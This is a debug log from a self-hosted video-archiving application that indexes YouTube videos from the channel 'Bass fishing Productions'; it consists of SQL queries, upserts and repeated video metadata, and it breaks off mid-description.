idle=1095.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:00.788 [debug] QUERY OK source="media_items" db=2.5ms idle=1042.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 13:00:59Z], 33] 08:30:00.803 [debug] QUERY OK source="media_items" db=13.0ms idle=696.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "14b6619d-334a-49b7-87e8-f66132a7846a", "3h5e0vXKQws", false, "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, [], 2511, false, 4, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, false, 98, ~U[2025-11-22 13:00:59Z], ~U[2026-06-03 12:30:00Z], ~U[2026-06-03 12:30:00Z], "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "3h5e0vXKQws", "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, 2511, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, ~U[2025-11-22 13:00:59Z]] 08:30:00.804 [debug] QUERY OK source="sources" db=0.7ms idle=59.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:00.806 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=20.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:00.807 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=21.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118971] 08:30:00.807 [debug] Current batch of media processed. Will check again in 1000ms 08:30:01.808 [debug] Current batch of media processed. Will check again in 1000ms 08:30:02.810 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 5156, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", "id" => "VRzuXo7JdUI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VRzuXo7JdUI", "playlist_index" => 5, "timestamp" => 1761393602, "title" => "I Bought The Deadliest Animals (to keep as pets)", "upload_date" => "20251025"} 08:30:02.811 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=121.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:02.812 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=122.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:02.815 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=123.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 12:00:02Z], 33] 08:30:02.816 [debug] QUERY OK source="media_items" db=0.8ms idle=125.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "ab5a4f1e-413d-4359-8275-bf5b16d96591", "VRzuXo7JdUI", false, "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, [], 5156, false, 5, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, false, 98, ~U[2025-10-25 12:00:02Z], ~U[2026-06-03 12:30:02Z], ~U[2026-06-03 12:30:02Z], "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "VRzuXo7JdUI", "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, 5156, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, ~U[2025-10-25 12:00:02Z]] 08:30:02.816 [debug] QUERY OK source="sources" db=0.1ms idle=69.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:02.816 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:02.817 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118972] 08:30:02.817 [debug] Current batch of media processed. Will check again in 1000ms 08:30:03.818 [debug] Current batch of media processed. Will check again in 1000ms 08:30:04.819 [debug] Current batch of media processed. Will check again in 1000ms 08:30:05.821 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 2665, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", "id" => "hKgulyjwjWI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hKgulyjwjWI", "playlist_index" => 6, "timestamp" => 1760184002, "title" => "I Found an Abandoned Zoo…", "upload_date" => "20251011"} 08:30:05.822 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1132.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:05.824 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1134.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:05.826 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1135.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 12:00:02Z], 33] 08:30:05.828 [debug] QUERY OK source="media_items" db=1.3ms idle=1077.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "37dc1131-7386-4b51-addf-d63da07b1af0", "hKgulyjwjWI", false, "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, [], 2665, false, 6, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, false, 98, ~U[2025-10-11 12:00:02Z], ~U[2026-06-03 12:30:05Z], ~U[2026-06-03 12:30:05Z], "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "hKgulyjwjWI", "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, 2665, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, ~U[2025-10-11 12:00:02Z]] 08:30:05.828 [debug] QUERY OK source="sources" db=0.1ms idle=77.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:05.828 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:05.829 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118973] 08:30:05.829 [debug] Current batch of media processed. Will check again in 1000ms 08:30:06.830 [debug] Current batch of media processed. Will check again in 1000ms 08:30:07.831 [debug] Current batch of media processed. Will check again in 1000ms 08:30:08.833 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea 